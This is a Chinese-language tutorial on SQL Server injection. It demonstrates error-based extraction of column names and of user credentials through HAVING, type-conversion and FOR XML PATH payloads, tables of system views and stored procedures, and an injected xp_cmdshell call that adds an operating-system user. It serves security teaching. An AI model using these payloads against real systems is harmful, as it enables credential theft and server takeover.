24.注入篇————Sql server数据库注入
前言
攻击者对于数据库注入，无非是想利用数据库获取更多的数据或者更大的权限，那么利用方式可以归纳为以下几种：
- 查询数据
- 读写文件
- 执行命令
利用错误消息提取信息
Sql server数据库是一个非常优秀的数据库，它可以准确地定位错误消息，对开发人员来说来说，这是一件十分美好的事情，对攻击者来说也是一件十分美好的事情，因为攻击者可以通过错误消息提取数据。
（1）枚举当前表及列
查询root用户的详细信息，SQL语句如下：
select * from users where username='root' 利用SQL server特性来获取敏感信息，例如：
' having 1=1 --最终执行SQL语句：
select * from users where username='root' and password='root' having 1=1 --那么sql执行器将会抛出一个错误（因为版本的问题，显示的错误信息也不尽相同）
消息 8120，级别 16，状态1，第2行
选择列表中的列“users.id”无效，因为该列灭有包含在聚合函数或Group by子句中。由此可以发现当前表名为users,并且存在“id”列名，攻击者可以利用此特性继续得到其他列名，输入如下SQL语句：
select * from users where username="root" and password='root' group by users.id having 1=1 --执行器提示错误信息：
消息 8120，级别16，状态1，第一行
选择列表中的列'users.username'无效，因为该列没有包含在聚合函数或group by字句中。可以看到执行器又抛出了“username”列名，由此可以依次递归查询，直到没有错误消息返回为止，这样就可以利用having字句“查询”出单前表中的所有列名。
（2）利用数据类型错误提前数据
如果试图将一个字符串与非字符串比较，或者将一个字符串装换为另外一个不兼容的类型时，那么SQL编辑器将会抛出错误异常，例如：
select * from users where username='root' and password='root' and 1>(select top 1 username from users)执行器错误提示：
消息245，级别16，状态1，第二行
在将varchar值“root”转换成数据类型int时失败。可以发现root账户已经被SQL server给“出卖”了，利用此方法可以递归推导出所有的账户信息：
select * from users where username ='root' and password='root' and 1>(select top 1 username from users where username not in ('root'))select * from users where username ='root' and password='root' and 1=convert(int,(select top 1 users.username from users ))如果感觉递归比较麻烦，可以通过使用For XML PATH语句将查询的数据生成XML，SQL语句如下：
select * from users where username ='root' and password='root' and 1=convert(int,(select stuff((select ','+users.username,'|'+users.password from users for xml path('')),1,1,'')))执行器抛出异常：
消息245，级别16，状态1 ，第一行
在将nvarchar值“root|root,admin|admin,xxser|xxser”转换成数据类型int时失败。Sql server常见数据表
| 数据库试图 | 说明 |
| sys.database | SQL server中的所有数据库 |
| sys.sql_logins | SQL server中的所有登录名 |
| information_schema.tables | 当前用户数据库中的表 |
| information_schema.columns | 当前用户数据库中的列 |
| sys.all_collumns | 用户定义对象和系统对象的所有列的联合 |
| sys.database_principals | 数据库中每个权限或列异常权限 |
| sys.database_files | 存储在数据库中的数据库文件 |
| sysobjects | 数据库中创建的每个对象（例如约束、日志以及存储过程） |
SQL server常用函数
| 函数 | 说明 |
| stuff | 字符串截取函数 |
| ascii | 取ASCII码 |
| char | 根据ASCII码取字符 |
| getdate | 返回日期 |
| count | 放回组中的总条数 |
| cast | 将一种数据类型的表达式显示转换为另外一种数据类型的表达式 |
| rand | 返回随机值 |
| is_srvrolemember | 指示SQL server登录名是否为指定服务器角色成员 |
SQLserver中的存储过程
| 过程 | 说明 |
| sp_addlogin | 创建新的SQL server登录，该登录运行用户使用SQL server身份验证连接到SQL server实例 |
| sp_dropuser | 从当前数据库中删除数据库用户 |
| xp_enumgroups | 提供Microsoft Windows本地组列表或在指定的Windows域中定义的全局组列表 |
| xp_regwrite | 未被公布的存储过程,，写入注册表 |
| xp_regread | 读取注册表 |
| xp_regdeletevalue | 删除注册表 |
| xp_dirtree | 读取目录 |
| sp_password | 更改密码 |
| xp_servicecontrol | 停止或激活某服务 |
存储过程在大型数据库系统中为了完成特定功能的一组SQL"函数"。如，执行系统命令、查看注册表、读取磁盘目录等。
攻击者最常用的存储过程就是“xp_cmdshell”,这个存储过程允许用户执行操作系统命令，例如：http://xxx.xxx.xx.xx/test.asp?id=1存在注入点，那么攻击者就可以实施命令攻击：
http://xxx.xxx.xx.xx/test.asp?id=1；exec xp_cmdshell 'net user test test/add'
攻击者可以直接利用xp_cmdshell操纵服务器。
但是，并不是任何数据库用户都可以使用此类存储过程，用户必须持有Control server 权限。
Sql server数据库注入流程
（1）判断是否存在注入
'
and 1=1
and 1=2（2）猜解字段数
order by 字段数 （3）获得精确定位
（4）查询数据库名、表名、字段名、列名、列值